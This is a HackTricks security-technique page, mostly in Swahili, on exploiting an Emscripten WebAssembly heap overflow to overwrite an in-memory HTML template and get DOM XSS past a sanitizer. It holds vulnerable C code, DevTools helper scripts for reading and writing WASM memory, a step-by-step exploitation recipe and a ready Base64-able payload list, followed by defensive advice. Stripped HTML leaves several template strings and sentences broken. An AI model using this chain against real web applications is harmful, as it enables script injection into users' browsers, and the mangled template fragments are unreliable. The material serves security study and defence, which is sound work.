%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mbinu hii inaonyesha jinsi bug ya memory-corruption ndani ya module ya WebAssembly (WASM) iliyotengenezwa na Emscripten inaweza kugeuzwa kuwa DOM XSS thabiti hata wakati input ime-sanitized. Pivot ni kuchafua writable constants katika WASM linear memory (mfano, HTML format templates) badala ya kushambulia string ya chanzo iliyosanitishwa.
Wazo kuu: Katika modeli ya WebAssembly, code inaishi katika pages zinazotekelezwa zisizoandikika, lakini data ya module (heap/stack/globals/"constants") inaishi katika single flat linear memory (pages za 64KB) ambayo module inaweza kuandika. Ikiwa C/C++ buggy inauandika nje ya mipaka, unaweza kufuta objects jirani na hata constant strings zilizowekwa ndani ya linear memory. Wakati constant kama hiyo inatumiwa baadaye kujenga HTML kwa ajili ya kuwekwa kupitia DOM sink, unaweza kugeuza sanitized input kuwa executable JavaScript.
Mfano wa tishio na masharti ya awali
- Web app inatumia Emscripten glue (Module.cwrap) kupiga simu ndani ya module ya WASM.
- Hali ya application inaishi katika WASM linear memory (mfano, C structs zenye pointers/lengths kwa buffers za watumiaji).
- Input sanitizer inakodisha metacharacters kabla ya uhifadhi, lakini uchoraji wa baadaye unajenga HTML kwa kutumia format string iliyohifadhiwa katika WASM linear memory.
- Kuna linear-memory corruption primitive (mfano, heap overflow, UAF, au unchecked memcpy).
Mfano mdogo wa muundo wa data unao hatari (mfano)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Mfumo wa mantiki wenye udhaifu
- addMsg(): inatenga buffer mpya yenye ukubwa unaolingana na input iliyosafishwa na inaongeza msg kwenye s.mess, ikizidisha uwezo kwa realloc inapohitajika.
- editMsg(): inasafisha upya na memcpy hupakia bytes mpya kwenye buffer iliyopo bila kuhakikisha urefu mpya ≤ ugawaji wa zamani → intra‑linear‑memory heap overflow.
- populateMsgHTML(): inafomati maandishi yaliyosafishwa kwa stub yaliyowekwa kama "
" iliyoko kwenye linear memory. HTML inayorudishwa inaingia kwenye DOM sink (mf., innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Tuma ujumbe wa kutosha ili kuzidi uwezo wa mwanzo. Baada ya ukuaji, realloc() mara nyingi huweka s->mess mara moja baada ya buffer ya mwisho ya mtumiaji katika linear memory.
- Kupitisha (overflow) ujumbe wa mwisho kupitia editMsg() ili kuharibu (clobber) nyanja ndani ya s->mess (mfano, kuandika upya msg_data pointers) → uandishi wa pointer wowote ndani ya linear memory kwa data itakayochorwa baadaye.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Usafishaji (sanitization) inalinda input, si sinks. Tafuta format stub inayotumika na populateMsgHTML(), kwa mfano:
- "
" → change to "%.*s
"
- Tafuta stub hiyo kwa njia ya deterministi kwa kuchanganua linear memory; ni mfuatano wa byte wa kawaida ndani ya Module.HEAPU8.
- Baada ya kuandika upya stub, yaliyomo ya ujumbe yaliyosafishwa yanageuka kuwa JavaScript handler kwa onerror, hivyo kuongeza ujumbe mpya wenye maandishi kama alert(1337) kutatoa
na kutekeleza mara moja katika DOM.
Chrome DevTools workflow (Emscripten glue)
- Simamisha kwenye wito wa kwanza wa Module.cwrap katika JS glue na ingia ndani ya tovuti ya wito ya wasm ili kunasa pointer arguments (numeric offsets into linear memory).
- Tumia typed views kama Module.HEAPU8 kusoma/kuandika WASM memory kutoka console.
- Vipande vya msaada:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
End-to-end exploitation recipe
- Groom: Ongeza N small messages ili kusababisha realloc(). Hakikisha s->mess iko kando ya user buffer.
- Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 inaruka '<' ya mwanzoni ili kuhifadhi tag alignment wakati wa uhariri ujao.
- Template rewrite: Hariri message 0 ili bytes zake ziandike juu ya template na: "img src=1 onerror=%.*s ".
- Trigger XSS: Ongeza ujumbe mpya ambao yaliyomo yamesafishwa na ni JavaScript, kwa mfano, alert(1337). Inapo-render, inatoa
na kuitekeleza.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Kwa nini bypass hii inafanya kazi
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.
Ujumla na nyanja nyingine za mashambulizi
- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.
Mwongozo wa ulinzi
- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
- Keep immutable templates out of writable linear memory or integrity-check them before use.
- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
- Avoid trusting URL-embedded state for privileged flows.
Marejeleo
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.